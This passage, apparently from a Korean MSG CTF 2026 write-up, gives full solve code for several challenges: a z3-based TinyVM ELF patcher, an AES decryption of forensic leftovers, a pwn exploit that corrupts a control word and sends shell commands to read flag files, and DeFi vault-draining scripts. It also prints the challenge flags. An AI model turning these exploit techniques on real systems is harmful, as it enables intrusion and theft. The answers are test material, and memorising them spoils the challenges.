        data,seed,head,table,input_map=decode_bytes(elf)
        g1,g2=decode_graph(data,seed,head[0],head[1])
        reg_op,stk_op=opcode_maps(seed)
        p1=decode_programs(data,seed,head[2],g1,2,reg_op)
        p2=decode_programs(data,seed,head[4],g2,3,stk_op)
        logical=[z3.BitVec(f'logical_{i}',8) for i in range(12)]
        box8,box16=_sbox_functions(table)
        regs,out=_run_reg_symbolic(g1,p1,head[10],logical,box8)
```

```
    out=_run_stack_symbolic(g2,p2,head[11],logical,regs,out,box16)
    substitutions=[(v,z3.BitVecVal(b,8)) for v,b in zip(logical,logical_bytes)]
    return bytes(z3.simplify(z3.substitute(v,substitutions)).as_long() for v in out)

def solve(elf: bytes, target: bytes) -> bytes:
    """Return same-length ELF patched only at its 12 permitted BANK bytes."""
    from capsule_invert import invert_capsule
    from strategy_decode import decode_bytes
    desired_logical = solve_logical(elf,target)
    patch_bytes = invert_capsule(elf,desired_logical)
    data,seed,head,table,input_map=decode_bytes(elf)
    patched=bytearray(elf)
    offsets=[0x5020+head[8]+i for i in input_map]
    assert len(patch_bytes)==12 and len(set(offsets))==12
    for off,value in zip(offsets,patch_bytes):
        patched[off]=value
    assert len(patched)==len(elf)
    assert {i for i,(a,b) in enumerate(zip(elf,patched)) if a!=b} <= set(offsets)
    return bytes(patched)

if __name__=='__main__':
    import sys
    from strategy_decode import decode
    elf,data,seed,head,table,inp=decode(sys.argv[1])
    g1,g2=decode_graph(data,seed,head[0],head[1])
    reg,stk=opcode_maps(seed)
    p1=decode_programs(data,seed,head[2],g1,2,reg)
    p2=decode_programs(data,seed,head[4],g2,3,stk)
    for label,graph,program in [('reg',g1,p1),('stack',g2,p2)]:
        for node in graph:
            print(label,'node',node)
            for inst in program[node['id']]: print('  ',inst)
```

strategy_decode.py

코드 블록 (python)

```
"""Temporary TinyVM capsule decoder for independent reverse engineering."""

from pathlib import Path
import struct

MASK32 = 0xFFFFFFFF

def mix32(v):
    v &= MASK32
    v ^= v >> 16
    v = (v * 0x9B1A35D7) & MASK32
    v ^= v >> 13
    v = (v * 0x6F4F2B8D) & MASK32
    v ^= v >> 16
    return v & MASK32

def mask(seed, region, index):
    v = seed ^ ((region * 0x9E3779B9) & MASK32) ^ ((index * 0x045D9F3B) & MASK32) ^ 0x314C2A97
    return (mix32(v) >> (8 * (index & 3))) & 0xFF

def decode_bytes(blob):
    data = blob[0x5020:0x8070]
    ro = blob[0x4000:0x4074]
    seed = sum((data[ro[0x70 + i]] ^ ro[0x6C + i]) << (8 * i) for i in range(4))
    check = sum(data[ro[0x68 + i]] << (8 * i) for i in range(4))
    assert mix32(seed ^ 0xD00DF17E) == check
    head_bytes = bytes(data[ro[0x50 + i]] ^ ((mix32(seed ^ ((i * 0x045D9F3B) & MASK32) ^ 0x62C87E98) >> (8 * (i &
3))) & 0xFF) for i in range(24))
    head = struct.unpack('<12H', head_bytes)
    table = bytes(data[head[6] + i] ^ ((mix32(seed ^ 0x78DDE6E4 ^ ((i * 0x045D9F3B) & MASK32) ^ 0x314C2A97) >> (8 *
(i & 3))) & 0xFF) for i in range(16))
    input_map_raw = bytes(data[head[6] + 16 + i] ^ ((mix32(seed ^ 0x78DDE6E4 ^ (((i + 16) * 0x045D9F3B) & MASK32) ^
0x314C2A97) >> (8 * (i & 3))) & 0xFF) for i in range(12))
    return data, seed, head, table, input_map_raw

def decode(path):
    blob = Path(path).read_bytes()
    return blob, *decode_bytes(blob)

def dump_graph(data, seed, start, length, region):
    b = bytes(data[start + i] ^ mask(seed, region, i) for i in range(length))
    n1 = b[0]
    n2 = b[1 + 10 * n1]
    print('graph', region, 'n1', n1, 'n2', n2, 'length', length, 'expected', (n1+n2)*10+2)
    for j in range(n1):
        rec = b[1+10*j:1+10*(j+1)]
        print('g1', j, rec.hex(), list(rec))
    for j in range(n2):
        rec = b[2+10*n1+10*j:2+10*n1+10*(j+1)]
        print('g2', j, rec.hex(), list(rec))
    return b

if __name__ == '__main__':
    import sys
    blob, data, seed, head, table, input_map_raw = decode(sys.argv[1])
    print('seed', hex(seed))
    print('head', [hex(x) for x in head])
    print('table', table.hex())
    print('input_map_raw', input_map_raw.hex())
    dump_graph(data, seed, head[0], head[1], 1)
```

static_capsule.py

코드 블록 (python)

```python
#!/usr/bin/env python3
"""Static TinyVM capsule inspection. Does not run the supplied ELF."""

import argparse
import struct
from pathlib import Path

MASK32 = 0xFFFFFFFF

def mix(value):
    value &= MASK32
    value ^= value >> 16
    value = value * 0x9B1A35D7 & MASK32
    value ^= value >> 13
    value = value * 0x6F4F2B8D & MASK32
    value ^= value >> 16
    return value

def ror8(value, count):
    count &= 7
    value &= 255
    return (value >> count | value << (8 - count)) & 255

def rol8(value, count):
    return ror8(value, -count)

def ror16(value, count):
    count &= 15
    value &= 0xFFFF
    return (value >> count | value << (16 - count)) & 0xFFFF

def rol16(value, count):
    return ror16(value, -count)

def read_u16(buf, offset):
    return struct.unpack_from("<H", buf, offset)[0]

def decode_node(enc, seed, node_index):
    out = bytearray()
    initial = (0x2BE5AB00 - node_index * 0x20490752) & MASK32
    for j, value in enumerate(enc):
        key = mix(seed ^ ((initial + j * 0x632BE5AB) & MASK32) ^ 0xA511E9B3)
        value = (value - (key >> 11)) & 255
        value = ror8(value, key >> 27)
        out.append(value ^ (key & 255))
    return out

def decode_operand(raw, seed, opcode_word, relative_pc, operand_index):
    key_seed = (
        ((opcode_word * 0x91E10DA5) & MASK32)
        ^ ((operand_index * 0x6C8E9CF5) & MASK32)
        ^ seed
        ^ ((relative_pc * 0x7F4A7C15) & MASK32)
        ^ 0x3C6EF372
    )
    key = mix(key_seed)
    return ror16((raw - (key >> 7)) & 0xFFFF, key >> 27) ^ ((key ^ (key >> 16)) & 0xFFFF)

def decode_instructions(code, seed, node):
    sizes = {0: 8, 1: 6, 2: 10, 3: 10, 4: 10, 5: 10, 6: 10, 7: 8, 8: 12, 9: 10, 10: 6}
    start = node["start"]
    end = start + node["size"]
    pc = start
    instructions = []
    while pc < end:
        opcode_word = read_u16(code, pc)
        matches = [i for i in range(11) if ((mix(seed ^ ((i * 0x7F4A7C15) & MASK32) ^ 0xB5297A4D) >> 5) & 0xFFFF)
== opcode_word]
        assert len(matches) == 1, (node["id"], pc, opcode_word, matches)
        opcode = matches[0]
        size = sizes[opcode]
        assert pc + size <= end, (node["id"], pc, size, end)
        operands = tuple(decode_operand(read_u16(code, pc + 2 + 2 * i), seed, opcode_word, pc - start, i) for i in
range((size - 2) // 2))
        instructions.append((pc, opcode, operands))
        pc += size
    assert pc == end
    return instructions

def decode_prefix(elf, seed, header):
    """Return the 16-byte nibble table and 12-byte logical-input map."""
    data = elf[0x5020:]
    offset = read_u16(header, 12)
    raw = data[offset:offset + 28]
    result = bytearray()
    for i, value in enumerate(raw):
        key = mix(seed ^ 0x78DDE6E4 ^ ((i * 0x45D9F3B) & MASK32) ^ 0x314C2A97)
        result.append(value ^ ((key >> (8 * (i & 3))) & 255))
    return bytes(result[:16]), bytes(result[16:])

def substitute16(value, table):
    return sum(table[(value >> (4 * i)) & 15] << (4 * i) for i in range(4)) & 0xFFFF

def run_capsule(elf, inputs=None, decoded=None, trace=False):
    """Run only the decoded capsule VM; return its 12 output bytes.
```

```
    `inputs` is 12 logical input bytes in decoded map order. With no override,
    read the decoy bytes from the supplied ELF's BANK.
    """
    if isinstance(elf, (str, Path)):
        elf = Path(elf).read_bytes()
    if decoded is None:
        # parse is path based, so use a local in-memory variant only when needed.
        raise ValueError("decoded=(seed, header, capsule, nodes) is required")
    seed, header, capsule, nodes = decoded
    table, input_map = decode_prefix(elf, seed, header)
    if inputs is None:
        bank_file_offset = 0x5020 + read_u16(header, 16)
        inputs = bytes(elf[bank_file_offset + i] for i in input_map)
    assert len(inputs) == 12
    assert len(input_map) == 12
    code = capsule[6 + 10 * capsule[0]:]

    by_id = {node["id"]: node for node in nodes}
    registers = [0] * 12
    output = bytearray(table)
    used_inputs = 0
    written_outputs = 0
    current = capsule[1]
    visited = []
    for step in range(64):
        assert current in by_id, ("missing node", current)
        node = by_id[current]
        visited.append(current)
        if trace:
            print("enter", current, "regs", [hex(x) for x in registers])
        for pc, opcode, args in decode_instructions(code, seed, node):
            if opcode == 0:
                dst, lo, hi = args
                assert dst < 12 and lo < 12 and hi < 12
                registers[dst] = inputs[lo] | (inputs[hi] << 8)
                used_inputs |= (1 << lo) | (1 << hi)
            elif opcode == 1:
                dst, imm = args
                assert dst < 12
                registers[dst] = imm
            elif 2 <= opcode <= 6 or opcode == 9:
                dst, src1, src2, imm = args
                assert dst < 12 and src1 < 12 and src2 < 12
                old, a, b = registers[dst], registers[src1], registers[src2]
                if opcode == 2:
                    value = old + a + b + imm
                elif opcode == 3:
                    value = old ^ a ^ imm ^ rol16(b, imm)
                elif opcode == 4:
                    value = old * (a | 1) + b + imm
                elif opcode == 5:
                    value = old ^ ((a & b) + imm)
                elif opcode == 6:
                    value = rol16(old ^ a ^ imm, imm) ^ b
                else:
                    value = (old + rol16(a, imm)) ^ (rol16(imm, dst) + b)
                registers[dst] = value & 0xFFFF
            elif opcode == 7:
                dst, src, imm = args
                assert dst < 12 and src < 12
                registers[dst] = substitute16((registers[dst] + registers[src] + imm) & 0xFFFF, output)
            elif opcode == 8:
                dst, test_src, src_set, src_clear, imm = args
                assert all(x < 12 for x in (dst, test_src, src_set, src_clear))
                bit = (registers[test_src] >> (imm & 15)) & 1
                choice = registers[src_set if bit else src_clear]
                registers[dst] = (rol16(imm, test_src) ^ registers[dst] ^ choice) & 0xFFFF
            elif opcode == 10:
                src, slot = args
                assert src < 12 and slot < 6
                assert not (written_outputs & (1 << slot))
                written_outputs |= 1 << slot

                struct.pack_into("<H", output, slot * 2, registers[src])
            else:
                raise AssertionError((opcode, args))
            if trace:
                print("  ", pc, opcode, args, "regs", [hex(x) for x in registers])
        mode = node["mode"]
        if mode == 2:
            assert used_inputs == 0xFFF, hex(used_inputs)
            assert written_outputs == 0x3F, hex(written_outputs)
            return bytes(output[:12]), visited
        if mode == 0:
            current = node["next_set"]
        else:
            assert mode == 1
            test = (registers[node["cond_reg"]] >> node["cond_bit"]) & 1
            current = node["next_set"] if test else node["next_clear"]
    raise AssertionError("capsule exceeded 64 nodes")

def parse(path, verbose=False):
    elf = path if isinstance(path, bytes) else Path(path).read_bytes()
    base = 0x5020
    data = elf[base:]
    a = elf[0x4050:0x4068]
    seed_indices = elf[0x4070:0x4074]
    seed_masks = elf[0x406c:0x4070]
    seed = sum(((data[idx] ^ mask) << (8 * i)) for i, (idx, mask) in enumerate(zip(seed_indices, seed_masks)))
    check_indices = elf[0x4068:0x406c]
    check = sum(data[idx] << (8 * i) for i, idx in enumerate(check_indices))
```

```
    assert mix(seed ^ 0xD00DF17E) == check
    header = bytes(data[idx] ^ ((mix(seed ^ ((i * 0x45D9F3B) & MASK32) ^ 0x62C87E98) >> (8 * (i & 3))) & 255) for i,
idx in enumerate(a))
    if verbose:
        print("seed", hex(seed), "header", header.hex())
        print("header words", [read_u16(header, i) for i in range(0, 24, 2)])
    capsule_off = read_u16(header, 12)
    capsule_len = read_u16(header, 14)
    nonce = read_u16(header, 16)
    capsule = bytearray()
    for i in range(capsule_len - 28):
        value = data[capsule_off + 28 + i]
        key1 = mix(seed ^ ((0x7A3D6A74 + i * 0x45D9F3B) & MASK32) ^ 0x4991CC73)
        key2 = mix(seed ^ ((i * 0x632BE5AB) & MASK32) ^ 0xA511E9B3)
        value ^= (key1 >> (8 * (i & 3))) & 255
        value = (value - (key2 >> 11)) & 255
        value = ror8(value, key2 >> 27)
        capsule.append(value ^ (key2 & 255))
    if verbose:
        print("capsule", hex(capsule_off), capsule_len, "nonce", hex(nonce), "decoded", capsule.hex())
    count = capsule[0]
    entry = capsule[1]
    code_len = read_u16(capsule, 2)
    checksum = read_u16(capsule, 4)
    if verbose:
        print("nodes", count, "entry", entry, "code length", code_len, "checksum", hex(checksum))
        print("expected payload length", 6 + 10 * count + code_len)
    nodes = []
    for i in range(count):
        encoded = capsule[6 + 10 * i:16 + 10 * i]
        raw = decode_node(encoded, seed, i)
        assert (sum(raw[:9]) + seed + 29 * i) & 255 == raw[9], (i, raw.hex())
        b = raw
        node = {
            "id": b[3],
            "start": b[6] | b[1] << 8,
            "size": b[4] | b[8] << 8,
            "mode": b[0] & 3,
            "cond_reg": b[5],
            "cond_bit": b[0] >> 2,
            "next_set": rol8(b[3], 3) ^ b[7],
            "next_clear": ror8(b[3], 3) ^ b[2],
        }
        nodes.append(node)
        if verbose:
            print("node", i, raw.hex(), node)
    code = capsule[6 + 10 * count:6 + 10 * count + code_len]
    return seed, header, capsule, nodes

def dump_instructions(seed, capsule, nodes):
    count = capsule[0]
    code_len = read_u16(capsule, 2)
    code = capsule[6 + 10 * count:6 + 10 * count + code_len]
    for node in nodes:
        print("block", node["id"], "start", node["start"], "size", node["size"])
        for pc, opcode, operands in decode_instructions(code, seed, node):
            print("  ", pc, opcode, operands)

if __name__ == "__main__":
    parser = argparse.ArgumentParser()
    parser.add_argument("elf", nargs="?", default="original/tinyvm")
    args = parser.parse_args()
    seed, header, capsule, nodes = parse(args.elf, verbose=True)
    dump_instructions(seed, capsule, nodes)
```

capsule_invert.py

코드 블록 (python)

```
#!/usr/bin/env python3
"""Invert TinyVM's decoded capsule CFG over its 12 logical input bytes."""

import struct
from pathlib import Path

import z3

from static_capsule import (
    decode_instructions,
    decode_prefix,
    parse,
    read_u16,
    rol16,
    run_capsule,
)

def bv(value):
    return z3.BitVecVal(value & 0xFFFF, 16)

def substitute16(expr, table):
    # Each of the 16 table values is a nibble.
    nibbles = []
    for shift in (0, 4, 8, 12):
        index = z3.Extract(3, 0, z3.LShR(expr, shift))
        value = z3.BitVecVal(table[-1], 4)
        for j in range(14, -1, -1):
            value = z3.If(index == j, z3.BitVecVal(table[j], 4), value)
        nibbles.append(value)
    return z3.Concat(*reversed(nibbles))
```

```
def symbolic_paths(elf, decoded):
    seed, header, capsule, nodes = decoded
    table, _input_map = decode_prefix(elf, seed, header)
    code = capsule[6 + 10 * capsule[0]:]
    by_id = {node["id"]: node for node in nodes}
    inputs = [z3.BitVec(f"input_{i}", 8) for i in range(12)]
    start_regs = [bv(0)] * 12
    paths = []

    def visit(node_id, registers, outputs, constraints, path):
        assert node_id not in path, ("cycle", path, node_id)
        node = by_id[node_id]
        registers = registers.copy()
        outputs = outputs.copy()
        path = path + (node_id,)
        for _pc, opcode, args in decode_instructions(code, seed, node):
            if opcode == 0:
                dst, lo, hi = args
                registers[dst] = z3.Concat(inputs[hi], inputs[lo])
            elif opcode == 1:
                dst, imm = args
                registers[dst] = bv(imm)
            elif opcode in (2, 3, 4, 5, 6, 9):
                dst, src1, src2, imm = args
                old, a, b = registers[dst], registers[src1], registers[src2]
                if opcode == 2:
                    value = old + a + b + bv(imm)
                elif opcode == 3:
                    value = old ^ a ^ bv(imm) ^ z3.RotateLeft(b, imm & 15)
                elif opcode == 4:
                    value = old * (a | bv(1)) + b + bv(imm)
                elif opcode == 5:
                    value = old ^ ((a & b) + bv(imm))
                elif opcode == 6:
                    value = z3.RotateLeft(old ^ a ^ bv(imm), imm & 15) ^ b
                else:
                    value = (old + z3.RotateLeft(a, imm & 15)) ^ (bv(rol16(imm, dst)) + b)
                registers[dst] = value
            elif opcode == 7:
                dst, src, imm = args
                registers[dst] = substitute16(registers[dst] + registers[src] + bv(imm), table)
            elif opcode == 8:
                dst, test_src, src_set, src_clear, imm = args
                bit = z3.Extract(imm & 15, imm & 15, registers[test_src])
                choice = z3.If(bit == 1, registers[src_set], registers[src_clear])
                registers[dst] = bv(rol16(imm, test_src)) ^ registers[dst] ^ choice
            elif opcode == 10:
                src, slot = args
                assert outputs[slot] is None
                outputs[slot] = registers[src]
            else:
                raise AssertionError(opcode)
        mode = node["mode"]
        if mode == 2:
            assert all(x is not None for x in outputs)
            paths.append((path, constraints, outputs))
        elif mode == 0:
            visit(node["next_set"], registers, outputs, constraints, path)
        else:
            bit = z3.Extract(node["cond_bit"], node["cond_bit"], registers[node["cond_reg"]])
            visit(node["next_set"], registers, outputs, constraints + [bit == 1], path)
            visit(node["next_clear"], registers, outputs, constraints + [bit == 0], path)

    visit(capsule[1], start_regs, [None] * 6, [], ())
    return inputs, paths

def invert_capsule(elf, target12, timeout_ms=25000, decoded=None, verbose=False):
    """Return 12 logical bytes that produce `target12`, or raise RuntimeError."""
    if isinstance(elf, (str, Path)):
        path = Path(elf)
        elf_bytes = path.read_bytes()
        if decoded is None:
            decoded = parse(path)
    else:
        elf_bytes = elf
        if decoded is None:
            decoded = parse(elf_bytes)
    if isinstance(target12, str):
        target12 = bytes.fromhex(target12)
    assert len(target12) == 12
    target_words = struct.unpack("<6H", target12)
    variables, paths = symbolic_paths(elf_bytes, decoded)
    _, decoy_path = run_capsule(elf_bytes, decoded=decoded)
    paths.sort(key=lambda item: -sum(a == b for a, b in zip(item[0], decoy_path)))
    for index, (path, constraints, outputs) in enumerate(paths):
        solver = z3.SolverFor("QF_BV")
        solver.set(timeout=timeout_ms)
        solver.add(*constraints)
        solver.add(*(outputs[i] == bv(target_words[i]) for i in range(6)))
        status = solver.check()
        if verbose:
            print("path", index, path, "status", status, flush=True)
        if status == z3.sat:
            model = solver.model()
            candidate = bytes(model.eval(x, model_completion=True).as_long() for x in variables)
            check, concrete_path = run_capsule(elf_bytes, inputs=candidate, decoded=decoded)
            assert check == target12, (candidate.hex(), check.hex(), target12.hex(), concrete_path)
            return candidate
        if status == z3.unknown and verbose:
```

```
            print("reason", solver.reason_unknown(), flush=True)
    raise RuntimeError("Capsule inverse not found on any CFG path")

if __name__ == "__main__":
    import argparse
    parser = argparse.ArgumentParser()
    parser.add_argument("elf")
    parser.add_argument("target12")
    args = parser.parse_args()
    result = invert_capsule(args.elf, args.target12, verbose=True)
    print(result.hex())
```

재현 결과

원격 서비스의 세 라운드 모두 round clear를 출력했고, 마지막에 다음 플래그가 직접 출력됐다.

코드 블록 (text)

```
msgctf2026{tinyvm_lane_diffusion_0a7c9b97a2a15c9f6b565ab9b22453c5}
```

25. Leftovers

분야	Forensics
상태	완료

풀이 과정

풀이 과정

제공된 VHDX의 NTFS MFT에서 삭제된 파일을 확인했다. 비할당 클러스터에서 복구한 파일에는 AES-256-CBC 암호문과 A:B:C 키 형식이 적혀 있었다. 레지스트리의 세션 값 ramen, 바로가기 대상 파일명의 숫자 0721, 삭제된 stage.tmp의 MFT 논리 크기 4096을 결합했다. 그 SHA-256을 키로 사용해 복호화했다.

익스플로잇 코드 / 분석 코드 전체

실행에 사용한 코드와 명령은 다음과 같다.

코드 블록 (text)

```
pip install cryptography
python solve.py
```

코드 블록 (python)

```
"""Decrypt the recovered MSGSECRET/1 stream from deleted NTFS MFT record 51.

The three key inputs are independently preserved in user_config.hiv,
recent_activity.lnk, and deleted MFT record 50. See SOLUTION.md.
"""

import base64
import hashlib
from pathlib import Path

from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes

ROOT = Path(__file__).resolve().parent
blob = (ROOT / "analysis-disk" / "deleted-mft-51.bin").read_bytes()
header = blob.split(b"₩r₩n₩r₩n", 1)[0]
fields = {}
for line in header.split(b"₩r₩n"):
    if b"=" in line:
        key, value = line.split(b"=", 1)
        fields[key.decode("ascii")] = value.decode("ascii")

assert header.startswith(b"MSGSECRET/1₩r₩n")
assert fields["ALG"] == "AES-256-CBC"
assert fields["KDF"] == "SHA256"
assert fields["FORMAT"] == "A:B:C"
assert fields["A"] == "REGISTRY_SESSION"
assert fields["B"] == "LNK_TARGET_DIGITS"
assert fields["C"] == "STAGE_FILE_SIZE"

material = "ramen:0721:4096".encode("utf-8")
key = hashlib.sha256(material).digest()
iv = base64.b64decode(fields["IV"], validate=True)
data = base64.b64decode(fields["DATA"], validate=True)
plain = Cipher(algorithms.AES(key), modes.CBC(iv)).decryptor().update(data)
pad = plain[-1]
assert 1 <= pad <= 16 and plain.endswith(bytes([pad]) * pad)
body = plain[:-pad].decode("ascii")
print(f"msgctf2026{{{body}}}")
```

재현 결과

평문과 PKCS#7 패딩이 정상적으로 확인됐다.

코드 블록 (text)

```
msgctf2026{ims00hungryn0wwww}
```

26. price-tag

분야	Pwn
상태	완료

풀이 과정

풀이 과정

Inventory 구조체에서 control_word가 prices 배열 바로 앞에 있다. 상품 번호 idx는 -1로 초기화된다. 숫자가 아닌 +를 입력하면 scanf("%d")가 변환에 실패하지만, 이후 개행 처리 때문에 범위 검사를 통과한 것처럼 다음 단계로 진행한다. 가격 입력에 0x404060을 주면 prices[-1] 쓰기가 control_word를 덮어 권한 검사가 통과한다.

익스플로잇 코드 / 분석 코드 전체

실행에 사용한 코드와 명령은 다음과 같다.

코드 블록 (text)

```
python solve.py
```

코드 블록 (python)

```
#!/usr/bin/env python3
"""Solve the MSG CTF 2026 price-tag challenge over verified TLS."""

import argparse
import re
import socket
import ssl
import sys

DEFAULT_HOST = "6bbed6287d37889279674d89ecd66ec5.gate.msgctf.kr"
FLAG_RE = re.compile(rb"msgctf2026₩{[^}₩r₩n]+₩}")

def read_until(conn: ssl.SSLSocket, marker: bytes, limit: int = 16384) -> bytes:
    data = bytearray()
    while marker not in data:
        chunk = conn.recv(4096)
        if not chunk:
            raise EOFError(f"closed before {marker!r}: {bytes(data)!r}")
        data.extend(chunk)
        if len(data) > limit:
            raise ValueError(f"response exceeds {limit} bytes before {marker!r}")
    return bytes(data)

def main() -> int:
    parser = argparse.ArgumentParser()
    parser.add_argument("--host", default=DEFAULT_HOST)
    parser.add_argument("--port", type=int, default=443)
    args = parser.parse_args()

    context = ssl.create_default_context()
    with socket.create_connection((args.host, args.port), timeout=5) as raw:
        with context.wrap_socket(raw, server_hostname=args.host) as conn:
            conn.settimeout(5)
            board = read_until(conn, b"Enter product index to modify: ")
            sys.stdout.buffer.write(board)

            # scanf("%d") consumes '+' but fails conversion; getchar() gets '₩n'.
            conn.sendall(b"+₩n")
            prompt = read_until(conn, b"Enter new price: ")
            sys.stdout.buffer.write(prompt)

            # inv.prices[-1] aliases inv.control_word; %i parses hexadecimal.
            conn.sendall(b"0x404060₩n")
            authorized = read_until(conn, b"[!] Authorized.₩n")
            sys.stdout.buffer.write(authorized)

            conn.sendall(
                b"for p in /flag /flag.txt ./flag ./flag.txt /home/*/flag "
                b"/home/*/flag.txt; do if [ -f ₩"$p₩" ]; then cat ₩"$p₩"; fi; done; "
                b"printf '__DONE__₩₩n'₩n"
            )
            proof = read_until(conn, b"__DONE__₩n")
            sys.stdout.buffer.write(proof)
            sys.stdout.buffer.flush()
            match = FLAG_RE.search(proof)
            if match is None:
                raise RuntimeError("authorized shell reached, but no exact flag found at checked paths")
            print(f"VERIFIED_FLAG={match.group().decode()}")
    return 0

if __name__ == "__main__":
    raise SystemExit(main())
```

재현 결과

서비스가 [!] Authorized.를 출력했고, 셸 응답에서 다음 플래그를 직접 확인했다.

코드 블록 (text)

```
msgctf2026{A_L0ne1y_d4Sh_bR0kE_Y0uR_v4l1D4t10N}
```

27. Split-Brain Oracle

분야	Blockchain
상태	완료

풀이 과정

풀이 과정

일곱 풀의 480 WETH를 회수하는 문제다. Gateway와 signer의 경로 디코딩 및 decimals 해석 차이로 내부 가격 서명을 얻었다. 공개 세션 토큰에는 MD5 길이 확장을 적용했다. 이후 vault의 중첩 호출 회계 오류, 서명 재사용, 증명 nullifier의 서로 다른 정규화, relayer의 정수 래핑, 기계 상태 전이 검증을 순서대로 연결했다. 마지막에 Setup.isSolved()를 만족시키고 /flag를 호출했다.

익스플로잇 코드 / 분석 코드 전체

아래는 실행 스크립트와 필요한 보조 함수 전체다. 문제에서 제공된 바이너리, 계약, 증명 키 등은 입력 자료로 사용한다.

코드 블록 (text)

```
npm ci --no-audit --no-fund
npx hardhat compile
$env:PLAYER_PRIVATE_KEY = '<문제 README에 제공된 플레이어 키>'
node phase1.js
node phase2.js
node phase3.js
```

phase1.js

코드 블록 (jsx)

```
const {
  ethers, client, wallet, state, step, contract, deployment, send, deployAttack
} = require('./chain');

async function main() {
  const info = await deployment();
  const attackAddress = await deployAttack(info);
  const attack = contract(attackAddress, 'Attack.sol', 'Attack');
  const gem = contract(info.assets.GEM, 'MockERC20.sol', 'MockERC20');
  const weth = contract(info.assets.WETH, 'MockERC20.sol', 'MockERC20');
  const vault = contract(info.vault, 'DeferredSettlementVault.sol', 'DeferredSettlementVault');
  const relay = contract(info.relay, 'PriceAttestationRelay.sol', 'PriceAttestationRelay');
  const queue = contract(info.settlementQueue, 'SettlementQueue.sol', 'SettlementQueue');
  const tranche = contract(info.tranche, 'SeniorTrancheVault.sol', 'SeniorTrancheVault');
  const allGem = 12_570_000_000_000n;

  await step('fundAttackGem', () =>
    send('fund Attack with GEM', gem, 'transfer', [attackAddress, allGem]));

  await step('drainVault', async () => {
    const quote = await client.priceQuote('GEM', 2_000_000_000_000_000_000n, 18);
    return send('vault drain and self-liquidation', attack, 'drainVault',
      [quote.report, quote.signature], 20_000_000n);
  });

  await step('seasonGem', () =>
    send('refresh seven GEM observations', attack, 'refreshMany',
      [info.assets.GEM, 7]));

  await step('returnGem', () =>
    send('return GEM', attack, 'sweepGem', [ethers.MaxUint256]));
  await step('moveVaultWeth', () =>
    send('move 80 WETH to player, retain 20 for notes', attack,
      'sweepWeth', [ethers.parseEther('80')]));

  await step('queueMandate', async () => {
    const signature = await queue.genesisSignature();
    const ceiling = await queue.genesisCeiling();
    if (ceiling !== 5n || signature === '0x') throw Error('missing genesis mandate');
    return send('queue mandate for player', queue, 'acceptMandate',
      [wallet.address, ceiling, signature]);
  });

  await step('queueAccrue', () => {
    const call = queue.interface.encodeFunctionData('accrue', [wallet.address, 5_000_000_000_000n]);
    return send('accrue queue credit', queue, 'multicall', [[call]]);
  });
  await step('queueTicket', () => send('issue queue ticket', queue, 'issueTicket'));

  await step('wethAttestation', async () => {
    const quote = await client.priceQuote('WETH', 190_000_000_000n, 8);
    return send('attest low WETH and refresh window', attack,
      'attestAndRefresh', [quote.report, quote.signature, 7]);
  });

  await step('approveTrancheGem', () =>
    send('approve tranche GEM', gem, 'approve', [info.tranche, allGem]));
```

```
  await step('trancheCollateral', () =>
    send('deposit tranche collateral', tranche, 'depositCollateral', [allGem]));
  await step('trancheBorrow', () =>
    send('borrow 30 WETH', tranche, 'borrow', [ethers.parseEther('30')]));
  await step('approveTrancheWeth', () =>
    send('approve tranche WETH', weth, 'approve',
      [info.tranche, ethers.parseEther('30')]));
  await step('trancheDeposit', () =>
    send('deposit 30 WETH for shares', tranche, 'deposit',
      [ethers.parseEther('30')]));

  const output = {
    attackAddress,
    playerWeth: ethers.formatEther(await weth.balanceOf(wallet.address)),
    attackWeth: ethers.formatEther(await weth.balanceOf(attackAddress)),
    vaultWeth: ethers.formatEther(await weth.balanceOf(info.vault)),
    trancheWeth: ethers.formatEther(await weth.balanceOf(info.tranche)),
    certificate: await vault.clearingCertificate(attackAddress),
    gemTwap: (await relay.twapE8(info.assets.GEM)).toString(),
    wethTwap: (await relay.twapE8(info.assets.WETH)).toString(),
    gemDistinct: (await relay.distinctObservationBlocks(info.assets.GEM)).toString()
  };
  process.stdout.write(`${JSON.stringify(output, null, 2)}₩n`);
}

main().then(() => process.exit(0)).catch(error => {
  process.stderr.write(`${error.stack || error}₩n`);
  process.exit(1);
});
```

phase2.js

코드 블록 (jsx)

```
const fs = require('fs');
const path = require('path');
const {
  ethers, wallet, state, step, contract, deployment, send
} = require('./chain');
const {FIELD, createPoseidon, zeros, merkleRoot, makeProof} = require('./zk');

const proofFile = path.join(__dirname, 'proofs.json');
const savedProofs = fs.existsSync(proofFile)
  ? JSON.parse(fs.readFileSync(proofFile, 'utf8')) : {};

async function proof(key, options) {
  if (savedProofs[key]) return savedProofs[key];
  process.stdout.write(`proving ${key}₩n`);
  const result = await makeProof(options);
  const compact = {
    commitment: result.commitment,
    root: result.root,
    rawNullifier: result.rawNullifier,
    pA: result.pA,
    pB: result.pB,
    pC: result.pC,
    publicSignals: result.publicSignals
  };
  savedProofs[key] = JSON.parse(JSON.stringify(compact, (_, value) =>
    typeof value === 'bigint' ? value.toString() : value));
  fs.writeFileSync(proofFile, JSON.stringify(savedProofs, null, 2) + '₩n');
  process.stdout.write(`proved ${key}: root=${savedProofs[key].root}₩n`);
  return savedProofs[key];
}

async function main() {
  const info = await deployment();
  if (!state.attackAddress || !state.trancheDeposit) throw Error('run phase1 first');
  const attackAddress = state.attackAddress;
  const attack = contract(attackAddress, 'Attack.sol', 'Attack');
  const tranche = contract(info.tranche, 'SeniorTrancheVault.sol', 'SeniorTrancheVault');
  const pool = contract(info.shieldedPool, 'ShieldedSettlementPool.sol', 'ShieldedSettlementPool');
  const weth = contract(info.assets.WETH, 'MockERC20.sol', 'MockERC20');
  const poseidon = await createPoseidon();
  const z = zeros(poseidon);
  const note1 = {secret: 101n, nullifier: 201n};
  const note2 = {secret: 102n, nullifier: 202n};
  const commitment1 = poseidon(note1.secret, note1.nullifier);
  const commitment2 = poseidon(note2.secret, note2.nullifier);
  const path1 = [...z];
  const path2 = [commitment1, z[1], z[2], z[3]];
  const indices1 = [0, 0, 0, 0];
  const indices2 = [1, 0, 0, 0];
  const root1 = merkleRoot(poseidon, commitment1, path1, indices1);
  const root2 = merkleRoot(poseidon, commitment2, path2, indices2);

  for (let i = 0; i < 4; i++) {
    const observed = await pool.zeros(i);
    if (observed !== z[i]) throw Error(`Merkle zero mismatch at level ${i}`);
  }

  await step('note1Deposit', () =>
    send('deposit shielded note one', attack, 'depositNote', [commitment1]));
  await step('note2Deposit', () =>
    send('deposit shielded note two', attack, 'depositNote', [commitment2]));
  if (await pool.currentRoot() !== root2) throw Error('second deposited root mismatch');
